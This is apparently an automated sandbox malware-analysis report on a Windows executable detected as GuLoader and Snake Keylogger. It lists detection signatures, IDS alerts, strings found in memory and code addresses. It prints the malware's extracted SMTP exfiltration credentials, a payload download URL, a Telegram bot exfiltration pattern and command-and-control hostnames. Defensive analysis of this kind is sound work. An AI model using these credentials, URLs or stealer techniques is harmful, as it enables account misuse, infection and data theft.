Edit tour

Windows Analysis Report
GBYfjUz4a5.exe

Overview

General Information

Sample name:	GBYfjUz4a5.exe renamed because original name is a hash value
Original sample name:	3c7ce26361ffddf491732e53dbdb1d457dc651e3709a04dc36cfa751f4333f65.exe
Analysis ID:	1632394
MD5:	6f6a2f1350b0512ad0dd3d4a6e060f6c
SHA1:	72287931c88f65da905ba186fd09963c3e773b5c
SHA256:	3c7ce26361ffddf491732e53dbdb1d457dc651e3709a04dc36cfa751f4333f65
Tags:	exeVIPKeyloggeruser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

GBYfjUz4a5.exe (PID: 6292 cmdline: "C:\Users\user\Desktop\GBYfjUz4a5.exe" MD5: 6F6A2F1350B0512AD0DD3D4A6E060F6C)

GBYfjUz4a5.exe (PID: 7312 cmdline: "C:\Users\user\Desktop\GBYfjUz4a5.exe" MD5: 6F6A2F1350B0512AD0DD3D4A6E060F6C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "manusevialup@sevialup.es", "Password": "Manu2020@", "Host": "smtp.ionos.es", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1545029670.0000000005E90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: GBYfjUz4a5.exe PID: 6292	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: GBYfjUz4a5.exe PID: 7312	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GBYfjUz4a5.exe PID: 7312	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T23:17:55.569283+0100	2803305	3	Unknown Traffic	192.168.2.6	49693	104.21.96.1	443	TCP
2025-03-07T23:18:04.930033+0100	2803305	3	Unknown Traffic	192.168.2.6	49699	104.21.96.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T23:17:50.067835+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49691	132.226.247.73	80	TCP
2025-03-07T23:17:53.239861+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49691	132.226.247.73	80	TCP
2025-03-07T23:17:56.364709+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49694	132.226.247.73	80	TCP
2025-03-07T23:17:59.396009+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49696	132.226.247.73	80	TCP
2025-03-07T23:18:02.645980+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49698	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T23:17:39.552256+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49689	142.250.184.206	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T23:18:20.808335+0100	1810007	1	Potentially Bad Traffic	192.168.2.6	49708	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 07 Mar 2025 22:18:20 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: GBYfjUz4a5.exe, 00000007.00000002.2507440428.0000000035D52000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000003.2268525470.0000000035D5D000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: GBYfjUz4a5.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:648351%0D%0ADate%20a
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334F1000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334E2000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en0l
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000334EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/8TH
Source: GBYfjUz4a5.exe, 00000007.00000002.2483008488.0000000004950000.00000004.00001000.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v4YV
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000003.1759201605.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002FA0000.00000004.00000020.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000003.1759201605.0000000002FB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/-
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v&export=download
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v&export=downloadi)
Source: GBYfjUz4a5.exe, 00000007.00000002.2482541121.0000000002F38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OeLfKimg0kAhmFZKIeP6XjCcrORJLZ2v&export=downloadk)
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20-
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333AD000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003341D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003341D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.00000000333D7000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033444000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003341D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: GBYfjUz4a5.exe, 00000007.00000002.2506408068.0000000034676000.00000004.00000800.00020000.00000000.sdmp, GBYfjUz4a5.exe, 00000007.00000002.2506408068.000000003463C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: GBYfjUz4a5.exe, 00000007.00000003.1705150186.0000000002FE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033513000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/0l
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.0000000033522000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: GBYfjUz4a5.exe, 00000007.00000002.2505203474.000000003351D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49689
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.2.6:49689 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.97:443 -> 192.168.2.6:49690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

Code function: 0_2_004052D1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052D1

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_00403358
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_00403358 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		7_2_00403358

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_00404B0E	0_2_00404B0E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 0_2_0040653D	0_2_0040653D
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_00404B0E	7_2_00404B0E
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_0040653D	7_2_0040653D
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDD278	7_2_02BDD278
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD5370	7_2_02BD5370
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDC146	7_2_02BDC146
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD76F1	7_2_02BD76F1
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDC738	7_2_02BDC738
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD6498	7_2_02BD6498
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDC468	7_2_02BDC468
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDD548	7_2_02BDD548
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDCA08	7_2_02BDCA08
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDE988	7_2_02BDE988
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDF961	7_2_02BDF961
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDCFAB	7_2_02BDCFAB
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD6FC8	7_2_02BD6FC8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDCCD8	7_2_02BDCCD8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD9DE0	7_2_02BD9DE0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDB0B8	7_2_02BDB0B8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD29E0	7_2_02BD29E0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BDE97B	7_2_02BDE97B
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02BD3E09	7_2_02BD3E09
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA8FB0	7_2_02DA8FB0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA7B78	7_2_02DA7B78
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA38B8	7_2_02DA38B8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA81D0	7_2_02DA81D0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA4ED0	7_2_02DA4ED0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA72C8	7_2_02DA72C8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA4EC0	7_2_02DA4EC0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA22F0	7_2_02DA22F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAF2F0	7_2_02DAF2F0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA1E98	7_2_02DA1E98
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAAE90	7_2_02DAAE90
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DACE80	7_2_02DACE80
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA72B8	7_2_02DA72B8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA1EA8	7_2_02DA1EA8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAEE5F	7_2_02DAEE5F
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA1A50	7_2_02DA1A50
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA1A41	7_2_02DA1A41
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA4A78	7_2_02DA4A78
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAAE7F	7_2_02DAAE7F
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA6E72	7_2_02DA6E72
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA6E70	7_2_02DA6E70
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAEE70	7_2_02DAEE70
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DACE6F	7_2_02DACE6F
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA6A18	7_2_02DA6A18
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA4610	7_2_02DA4610
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAAA00	7_2_02DAAA00
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA6A07	7_2_02DA6A07
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA4620	7_2_02DA4620
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA5BD8	7_2_02DA5BD8
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA97C0	7_2_02DA97C0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2FF9	7_2_02DA2FF9
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAF790	7_2_02DAF790
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAD791	7_2_02DAD791
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA5780	7_2_02DA5780
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAF781	7_2_02DAF781
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2BB0	7_2_02DA2BB0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAB7B0	7_2_02DAB7B0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA97B0	7_2_02DA97B0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2BAB	7_2_02DA2BAB
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAD7A0	7_2_02DAD7A0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAB7A0	7_2_02DAB7A0
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA8FA1	7_2_02DA8FA1
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2758	7_2_02DA2758
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2749	7_2_02DA2749
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA7B73	7_2_02DA7B73
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA5770	7_2_02DA5770
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAD310	7_2_02DAD310
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAB310	7_2_02DAB310
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DA2300	7_2_02DA2300
Source: C:\Users\user\Desktop\GBYfjUz4a5.exe	Code function: 7_2_02DAF300	7_2_02DAF300
